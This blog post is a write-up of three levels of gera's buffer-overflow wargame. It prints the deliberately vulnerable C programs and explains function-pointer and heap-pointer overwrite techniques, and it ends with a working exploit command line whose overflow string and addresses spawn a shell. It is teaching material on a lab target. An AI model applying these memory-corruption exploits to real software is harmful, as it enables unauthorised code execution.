7/24/2008

Advanced Buffer Overflows, Take #2

Hello again fellows, tonight, we'll take another step ahead in solving gera's programming challenges with this second take in the Advanced Buffer Overflows section. Unlike the previous take, this one will cover more than one level: from second to fourth to be more precise. As usual we'll take a look at the source and make an hypothesis on the possible attack path to follow. Without greater delay, let's begin.

This is how #2 looks like:
int main(int argv,char **argc) {
char buf[256];

strcpy(buf,argc[1]);
exit(1);
}
As an avid reader might have noticed, despite the obvious possibility to overflow the buffer in the stack, the exit() call right after the strcpy() makes impossible ever reaching any ret value we might have corrupted. After hitting the wall a couple of times, I noticed that in gera's solutions, the best outcome seemed to be a local DoS attack to the program. For this purpose we can make a call using a VERY LARGE sequence of characters so that memory would get largely corrupted and program wouldn't be able to continue it's normal way (presumably smashing the GOT or PLT entries where references to exit() are saved for dynamic linking). Not the most elegant solution but this is what this circumstances led us to :(

Turning our look to #3:
int main(int argv,char **argc) {
extern system,puts;
void (*fn)(char*)=(void(*)(char*))&system;
char buf[256];

fn=(void(*)(char*))&puts;
strcpy(buf,argc[1]);
fn(argc[2]);
exit(1);
}

The pointer mess in this case might scare the newcomer but once the fog clears out we notice what a piece of cake this is. All we have to face this time is a locally defined function pointer; right after our stack buffer. This should make your mouth sweat. Funny enough, the same approach we followed in abo1 will do the job this time. How? someone might ask. While in the first level we overwrote the ret value, this time we can overwrite a pointer to a function that will be called right after we smash the stack.(I won't display the solution here to keep the post-size as efficient as possible)

At this point we make it into #4, the bad boy:
extern system,puts; 
void (*fn)(char*)=(void(*)(char*))&system;

int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];

fn=(void(*)(char*))&puts;
strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
fn(argc[3]);
while(1);
}

Like in #3, this time we have function pointers around and like in #3 we call the function using the pointer after smashing the buffer but...the pointer is defined OUT of the local function, thus no function pointer abuse this time. Apparently, the only thing we can smash in this situation is the pbuf pointer which points to the region allocated in the heap to place argc[2] or the 2┬║ argument. This will do the trick, we will overwrite the pbuf pointer so that we can freely control the second strcpy() and write wherever in memory we want. If we use gdb to investigate a little, we'll notice that the adress of fn() is actually 0x0804974c. To store the shellcode we will follow the same approach we used in the previous buffer overflow levels, we will store it in a environment variable(remember we used address 0xbfffff40 for that one). Recapping a little this is how we would build the call:

infi@labo:~/InsecureProgramming> ./abo4 `python -c 'print "A"*268+"\x4c\x97\x04\x08"'` `python -c 'print "\x40\xff\xff\xbf"'` CCCC
sh-3.00$


Once again, mission complete. This is it for today, more from challenges will be coming shortly. Keep adding NOPs!

2 comments:

Manu Pirata said...

You are amazing!

infi said...

Despite the last line in the blog, I'm in summer vacation right now so no more updates until mid-late september I guess. Thanks for dropping by :)